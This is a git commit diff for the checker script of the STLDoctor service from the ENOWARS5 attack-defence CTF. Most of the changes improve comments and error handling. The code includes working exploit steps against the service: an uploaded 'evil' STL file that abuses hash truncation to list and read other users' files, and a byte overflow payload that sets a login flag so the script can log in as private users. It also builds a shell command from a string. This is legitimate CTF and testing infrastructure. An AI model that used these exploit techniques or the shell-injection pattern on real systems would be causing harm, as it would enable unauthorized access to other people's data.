enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit acd91305638fc2de783b22ed23b67141538e5328
parent 8f20deab0f233973199be29eae5518c4c73509c2
Author: Louis Burda <quent.burda@gmail.com>
Date:   Tue,  8 Jun 2021 23:26:57 +0200

improved comments in checker code, fixed possible INTERNAL_ERROR when parsing returned file id

Diffstat:
Mchecker/src/checker.py | 82++++++++++++++++++++++++++++++++++++++++++++-----------------------------------
1 file changed, 46 insertions(+), 36 deletions(-)

diff --git a/checker/src/checker.py b/checker/src/checker.py @@ -94,6 +94,23 @@ class STLDoctorChecker(BaseChecker): resp = conn.recvuntil(self.prompt) assert_in(modelid, resp, f"Uploaded model is missing from list command") + def querydb(self, *args): + self.debug("Querying db contents"); + vals = [] + for arg in args: + try: + val: str = self.chain_db[arg] + except KeyError as ex: + raise BrokenServiceException("Invalid db contents") + vals.append(val) + return vals + + def postdb(self, **kwdict): + self.chain_db = kwdict + + def reverse_hash(self, hashstr): + return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1] + def genfile_ascii(self, solidname): solidname = ensure_bytes(solidname) @@ -169,11 +186,14 @@ class STLDoctorChecker(BaseChecker): self.debug(conn.recvline()) line = conn.recvline() self.debug(line) - modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1] - if modelid == "": - raise BrokenServiceException("Unable to upload file!") + try: + modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1] + if modelid == b"": raise Exception + except: + raise BrokenServiceException("Invalid data returned on file upload") self.debug(f"Uploaded file with name {modelid}") + # Consume rest of data in this call conn.recvuntil(self.prompt) return stlfile, modelid @@ -181,13 +201,17 @@ class STLDoctorChecker(BaseChecker): def getfile(self, conn, modelname=None, download=True): modelname = ensure_bytes(modelname) + # Initiate download self.debug(f"Sending command to retrieve file with name {modelname}") conn.write("search\n") conn.write(modelname + b"\n") conn.write("0\n") # first result conn.write("y\n" if download else "\n") + # Wait for end of info box resp = conn.recvuntil("==================") + + # Ask for download if desired if download: resp += conn.recvuntil(b"Here you go.. (") try: @@ -211,30 +235,13 @@ class STLDoctorChecker(BaseChecker): assert_in(ensure_bytes(solidname), resp, f"Solid name {solidname} not returned / correctly parsed") assert_in(ensure_bytes(contents), resp, f"STL File contents not returned / correctly parsed") - def querydb(self, *args): - self.debug("Querying db contents"); - vals = [] - for arg in args: - try: - val: str = self.chain_db[arg] - except KeyError as ex: - raise BrokenServiceException("Invalid db contents") - vals.append(val) - return vals - - def postdb(self, **kwdict): - self.chain_db = kwdict - - def reverse_hash(self, hashstr): - return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1] - def havoc_upload(self, filetype, register): - # cant be havocid with ascii since might mess with stl parsing + # Cant be havocid with ascii since might mess with stl parsing solidname = self.fakeid() if filetype == 'ascii' else self.havocid() modelname = self.havocid() authstr = self.havocid() - # create new session and user and upload file + # Create new session and user and upload file conn = self.openconn() if register: self.do_auth(conn, authstr) @@ -244,7 +251,7 @@ class STLDoctorChecker(BaseChecker): self.check_listed(conn, modelid) self.closeconn(conn) - # try getting file from a new session + # Try getting file from a new session conn = self.openconn() if register: self.do_auth(conn, authstr) @@ -276,15 +283,14 @@ class STLDoctorChecker(BaseChecker): modelid, modelname = self.querydb("modelid", "modelname") conn = self.openconn() resp = self.getfile(conn, modelname.encode()) - self.debug(resp) - assert_in(self.flag.encode(), resp, "Resulting flag was found to be incorrect") + assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents") self.closeconn(conn) elif self.variant_id == 1: modelid, modelname, authstr = self.querydb("modelid", "modelname", "auth") conn = self.openconn() self.do_auth(conn, authstr) resp = self.getfile(conn, modelname.encode()) - assert_in(self.flag.encode(), resp, "Resulting flag was found to be incorrect") + assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents") self.closeconn(conn) else: raise EnoException("Invalid variant_id provided") @@ -296,8 +302,7 @@ class STLDoctorChecker(BaseChecker): solidname = self.fakeid() contents, modelid = self.putfile(conn, modelname, solidname, "bin") self.closeconn(conn) - self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, - contents=contents) + self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents) elif self.variant_id == 1: conn = self.openconn() authstr = self.fakeid() @@ -306,8 +311,7 @@ class STLDoctorChecker(BaseChecker): self.do_auth(conn, authstr) contents, modelid = self.putfile(conn, modelname, solidname, "ascii") self.closeconn(conn) - self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, - contents=contents, auth=authstr) + self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents, auth=authstr) else: raise EnoException("Invalid variant_id provided") @@ -342,17 +346,21 @@ class STLDoctorChecker(BaseChecker): if self.variant_id == 0: name = self.fakeid() + # Upload evil file for hash truncation conn = self.openconn() resp,mid = self.putfile(conn, name, name, stlfile=evil_file) - self.debug(f"Evil file: {mid}") + self.debug(f"Uploaded evil file with id {mid}") self.closeconn(conn) + # Parse evil file conn = self.openconn() resp = self.getfile(conn, name, download=False) - self.debug(str(resp)) conn.write("search last\n") filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l] + if len(filelist) == 0: + raise BrokenServiceException("Failed to list files through search") + # Use it to enumerate other files and grab contents found = None for i in range(len(filelist)): self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1]) @@ -371,17 +379,21 @@ class STLDoctorChecker(BaseChecker): raise BrokenServiceException("Exploit for flagstore 1 failed") return found elif self.variant_id == 1: + # Overflow loggedin variable conn = self.openconn() conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") conn.recvuntil(self.prompt) conn.write("auth\n") - assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow") + assert_in(b"Already logged in!", conn.recvuntil(self.prompt), + "Exploit did not set 'loggedin' variable via overflow") conn.write("list\n") resp = conn.recvuntil(self.prompt) - self.debug(resp) users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] + if len(users) == 0: + raise BrokenServiceException("Unable to list private user hashes") self.closeconn(conn) + # Login as each private user conn = self.openconn() found = None for u in users: @@ -392,12 +404,10 @@ class STLDoctorChecker(BaseChecker): self.debug(f"Hash preimage: {user}") conn.write(b"auth " + user + b"\n") resp = conn.recvuntil(self.prompt) - self.debug(resp) if b"Welcome back" not in resp: raise BrokenServiceException("Revhash returned invalid preimage") conn.write("list\n") resp = conn.recvuntil(self.prompt) - self.debug(resp) names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]) found = self.search_flag_bytes(names) if found is not None: